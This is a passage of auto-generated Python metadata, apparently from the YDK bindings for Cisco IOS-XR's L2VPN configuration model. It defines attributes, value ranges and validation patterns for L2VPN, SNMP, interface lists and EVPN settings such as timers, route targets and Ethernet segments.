'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('mib-pseudowire', REFERENCE_CLASS, 'MibPseudowire' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Snmp.Mib.MibPseudowire', [], [], ''' Pseudowire related configuration for MIB ''', 'mib_pseudowire', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'mib', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Snmp' : { 'meta_info' : _MetaInfoClass('L2Vpn.Snmp', False, [ _MetaInfoClassMember('mib', REFERENCE_CLASS, 'Mib' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Snmp.Mib', [], [], ''' MIB related configuration ''', 'mib', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'snmp', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn' : { 'meta_info' : _MetaInfoClass('L2Vpn', False, [ _MetaInfoClassMember('auto-discovery', REFERENCE_CLASS, 'AutoDiscovery' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.AutoDiscovery', [], [], ''' Global auto-discovery attributes ''', 'auto_discovery', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('capability', REFERENCE_ENUM_CLASS, 'L2VpnCapabilityModeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2VpnCapabilityModeEnum', [], [], ''' L2VPN Capability Mode ''', 'capability', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('database', REFERENCE_CLASS, 'Database' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database', [], [], ''' L2VPN databases ''', 'database', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable L2VPN feature ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2vpn-router-id', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' Global L2VPN Router ID ''', 'l2vpn_router_id', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('load-balance', REFERENCE_ENUM_CLASS, 'LoadBalanceEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'LoadBalanceEnum', [], [], ''' Enable flow load balancing on l2vpn bridges ''', 'load_balance', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('mspw-description', ATTRIBUTE, 'str' , None, None, [(0, 64)], [], ''' MS-PW global description ''', 'mspw_description', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('mtu-mismatch-ignore', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Ignore MTU Mismatch for XCs ''', 'mtu_mismatch_ignore', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('neighbor', REFERENCE_CLASS, 'Neighbor' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Neighbor', [], [], ''' L2VPN neighbor submode ''', 'neighbor', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('nsr', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable Non-Stop Routing ''', 'nsr', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pbb', REFERENCE_CLASS, 'Pbb' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Pbb', [], [], ''' L2VPN PBB Global ''', 'pbb', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pw-grouping', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable PW grouping ''', 'pw_grouping', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pw-routing', REFERENCE_CLASS, 'PwRouting' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.PwRouting', [], [], ''' Pseudowire-routing attributes ''', 'pw_routing', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pw-status-disable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Disable PW status ''', 'pw_status_disable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pwoam-refresh', ATTRIBUTE, 'int' , None, None, [('1', '4095')], [], ''' Configure PW OAM refresh interval ''', 'pwoam_refresh', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('snmp', REFERENCE_CLASS, 'Snmp' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Snmp', [], [], ''' SNMP related configuration ''', 'snmp', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('tcn-propagation', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Topology change notification propagation ''', 'tcn_propagation', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('utility', REFERENCE_CLASS, 'Utility' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Utility', [], [], ''' L2VPN utilities ''', 'utility', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'l2vpn', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'GenericInterfaceLists.GenericInterface.Interfaces.Interface' : { 'meta_info' : _MetaInfoClass('GenericInterfaceLists.GenericInterface.Interfaces.Interface', False, [ _MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None, [], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'], ''' Name of the interface ''', 'interface_name', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable interface ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'interface', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'GenericInterfaceLists.GenericInterface.Interfaces' : { 'meta_info' : _MetaInfoClass('GenericInterfaceLists.GenericInterface.Interfaces', False, [ _MetaInfoClassMember('interface', REFERENCE_LIST, 'Interface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'GenericInterfaceLists.GenericInterface.Interfaces.Interface', [], [], ''' Interface ''', 'interface', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'interfaces', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'GenericInterfaceLists.GenericInterface' : { 'meta_info' : _MetaInfoClass('GenericInterfaceLists.GenericInterface', False, [ _MetaInfoClassMember('generic-interface-list-name', ATTRIBUTE, 'str' , None, None, [(0, 32)], [], ''' Name of the interface list ''', 'generic_interface_list_name', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable interface list ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('interfaces', REFERENCE_CLASS, 'Interfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'GenericInterfaceLists.GenericInterface.Interfaces', [], [], ''' Interface table ''', 'interfaces', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'generic-interface', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'GenericInterfaceLists' : { 'meta_info' : _MetaInfoClass('GenericInterfaceLists', False, [ _MetaInfoClassMember('generic-interface', REFERENCE_LIST, 'GenericInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'GenericInterfaceLists.GenericInterface', [], [], ''' Bridge group ''', 'generic_interface', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'generic-interface-lists', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.EvpnTimers' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.EvpnTimers', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable EVPN timers ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpn-peering', ATTRIBUTE, 'int' , None, None, [('0', '300')], [], ''' Global Peering timer ''', 'evpn_peering', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpn-recovery', ATTRIBUTE, 'int' , None, None, [('20', '3600')], [], ''' Global Recovery timer ''', 'evpn_recovery', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpn-timers', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.Evpnevis.Evpnevi.EviLoadBalancing' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.Evpnevis.Evpnevi.EviLoadBalancing', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable EVI Loadbalancing ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evi-flow-label', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable Flow Label based load balancing ''', 'evi_flow_label', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evi-load-balancing', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets.EvpnRouteTarget.TwoByteAsOrFourByteAs' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets.EvpnRouteTarget.TwoByteAsOrFourByteAs', False, [ _MetaInfoClassMember('as', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Two byte or 4 byte AS number ''', 'as_', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('as-index', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' AS:nn (hex or decimal format) ''', 'as_index', 'Cisco-IOS-XR-l2vpn-cfg', True), ], 'Cisco-IOS-XR-l2vpn-cfg', 'two-byte-as-or-four-byte-as', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets.EvpnRouteTarget.Ipv4Address' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets.EvpnRouteTarget.Ipv4Address', False, [ _MetaInfoClassMember('addr-index', ATTRIBUTE, 'int' , None, None, [('0', '65535')], [], ''' Addr index ''', 'addr_index', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('address', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' IPV4 address ''', 'address', 'Cisco-IOS-XR-l2vpn-cfg', True), ], 'Cisco-IOS-XR-l2vpn-cfg', 'ipv4-address', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets.EvpnRouteTarget' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets.EvpnRouteTarget', False, [ _MetaInfoClassMember('format', REFERENCE_ENUM_CLASS, 'BgpRouteTargetFormatEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'BgpRouteTargetFormatEnum', [], [], ''' Format of the route target ''', 'format', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('role', REFERENCE_ENUM_CLASS, 'BgpRouteTargetRoleEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'BgpRouteTargetRoleEnum', [], [], ''' Role of the router target type ''', 'role', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('stitching', REFERENCE_ENUM_CLASS, 'BgpRouteTargetEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'BgpRouteTargetEnum', [], [], ''' whether RT is Stitching RT ''', 'stitching', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('ipv4-address', REFERENCE_LIST, 'Ipv4Address' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets.EvpnRouteTarget.Ipv4Address', [], [], ''' ipv4 address ''', 'ipv4_address', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('two-byte-as-or-four-byte-as', REFERENCE_LIST, 'TwoByteAsOrFourByteAs' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets.EvpnRouteTarget.TwoByteAsOrFourByteAs', [], [], ''' two byte as or four byte as ''', 'two_byte_as_or_four_byte_as', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpn-route-target', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets', False, [ _MetaInfoClassMember('evpn-route-target', REFERENCE_LIST, 'EvpnRouteTarget' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets.EvpnRouteTarget', [], [], ''' Name of the Route Target ''', 'evpn_route_target', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpn-route-targets', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteDistinguisher' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteDistinguisher', False, [ _MetaInfoClassMember('addr-index', ATTRIBUTE, 'int' , None, None, [('0', '65535')], [], ''' Addr index ''', 'addr_index', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('address', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' IPV4 address ''', 'address', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('as', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Two byte or 4 byte AS number ''', 'as_', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('as-index', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' AS:nn (hex or decimal format) ''', 'as_index', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('type', REFERENCE_ENUM_CLASS, 'BgpRouteDistinguisherEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'BgpRouteDistinguisherEnum', [], [], ''' Router Distinguisher Type ''', 'type', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpn-route-distinguisher', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable Autodiscovery BGP ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpn-route-distinguisher', REFERENCE_CLASS, 'EvpnRouteDistinguisher' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteDistinguisher', [], [], ''' Route Distinguisher ''', 'evpn_route_distinguisher', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpn-route-targets', REFERENCE_CLASS, 'EvpnRouteTargets' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets', [], [], ''' Route Target ''', 'evpn_route_targets', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('table-policy', ATTRIBUTE, 'str' , None, None, [], [], ''' Table Policy for installation of forwarding data to L2FIB ''', 'table_policy', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpnevibgp-auto-discovery', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.Evpnevis.Evpnevi' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.Evpnevis.Evpnevi', False, [ _MetaInfoClassMember('eviid', ATTRIBUTE, 'int' , None, None, [('1', '65534')], [], ''' EVI ID ''', 'eviid', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('evi-load-balancing', REFERENCE_CLASS, 'EviLoadBalancing' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.Evpnevis.Evpnevi.EviLoadBalancing', [], [], ''' Enter EVI Loadbalancing configuration submode ''', 'evi_load_balancing', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpn-evi-cw-disable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' CW disable for EVPN EVI ''', 'evpn_evi_cw_disable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpnevi-description', ATTRIBUTE, 'str' , None, None, [(0, 64)], [], ''' Description for EVPN EVI ''', 'evpnevi_description', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpnevibgp-auto-discovery', REFERENCE_CLASS, 'EvpnevibgpAutoDiscovery' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery', [], [], ''' Enable Autodiscovery BGP in EVPN EVI ''', 'evpnevibgp_auto_discovery', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpnevi', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.Evpnevis' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.Evpnevis', False, [ _MetaInfoClassMember('evpnevi', REFERENCE_LIST, 'Evpnevi' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.Evpnevis.Evpnevi', [], [], ''' Enter EVPN EVI configuration submode ''', 'evpnevi', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpnevis', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.EvpnLoadBalancing' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.EvpnLoadBalancing', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable EVPN Loadbalancing ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpn-flow-label', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable Flow Label based load balancing ''', 'evpn_flow_label', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpn-load-balancing', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.EvpnbgpAutoDiscovery.EvpnRouteDistinguisher' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.EvpnbgpAutoDiscovery.EvpnRouteDistinguisher', False, [ _MetaInfoClassMember('addr-index', ATTRIBUTE, 'int' , None, None, [('0', '65535')], [], ''' Addr index ''', 'addr_index', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('address', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' IPV4 address ''', 'address', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('as', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Two byte or 4 byte AS number ''', 'as_', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('as-index', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' AS:nn (hex or decimal format) ''', 'as_index', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('type', REFERENCE_ENUM_CLASS, 'BgpRouteDistinguisherEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'BgpRouteDistinguisherEnum', [], [], ''' Router Distinguisher Type ''', 'type', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpn-route-distinguisher', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.EvpnbgpAutoDiscovery' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.EvpnbgpAutoDiscovery', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable Autodiscovery BGP ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpn-route-distinguisher', REFERENCE_CLASS, 'EvpnRouteDistinguisher' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.EvpnbgpAutoDiscovery.EvpnRouteDistinguisher', [], [], ''' Route Distinguisher ''', 'evpn_route_distinguisher', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpnbgp-auto-discovery', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EvpnacTimers' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EvpnacTimers', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable Interface-specific timers ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpnac-peering', ATTRIBUTE, 'int' , None, None, [('0', '300')], [], ''' Interface-specific Peering timer ''', 'evpnac_peering', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpnac-recovery', ATTRIBUTE, 'int' , None, None, [('20', '3600')], [], ''' Interface-specific Recovery timer ''', 'evpnac_recovery', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpnac-timers', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment.IdentifierType0' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment.IdentifierType0', False, [ _MetaInfoClassMember('bytes1', ATTRIBUTE, 'str' , None, None, [], ['[0-9a-fA-F]{1,8}'], ''' Type 0's 1st Byte ''', 'bytes1', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('bytes23', ATTRIBUTE, 'str' , None, None, [], ['[0-9a-fA-F]{1,8}'], ''' Type 0's 2nd and 3rd Bytes ''', 'bytes23', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('bytes45', ATTRIBUTE, 'str' , None, None, [], ['[0-9a-fA-F]{1,8}'], ''' Type 0's 4th and 5th Bytes ''', 'bytes45', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('bytes67', ATTRIBUTE, 'str' , None, None, [], ['[0-9a-fA-F]{1,8}'], ''' Type 0's 6th and 7th Bytes ''', 'bytes67', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('bytes89', ATTRIBUTE, 'str' , None, None, [], ['[0-9a-fA-F]{1,8}'], ''' Type 0's 8th and 9th Bytes ''', 'bytes89', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'identifier-type0', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment.ManualServiceCarving.ServiceList' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment.ManualServiceCarving.ServiceList', False, [ _MetaInfoClassMember('primary', ATTRIBUTE, 'str' , None, None, [(0, 150)], [], ''' Primary services list ''', 'primary', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('secondary', ATTRIBUTE, 'str' , None, None, [(0, 150)], [], ''' Secondary services list ''', 'secondary', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'service-list', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment.ManualServiceCarving' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment.ManualServiceCarving', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable Manual 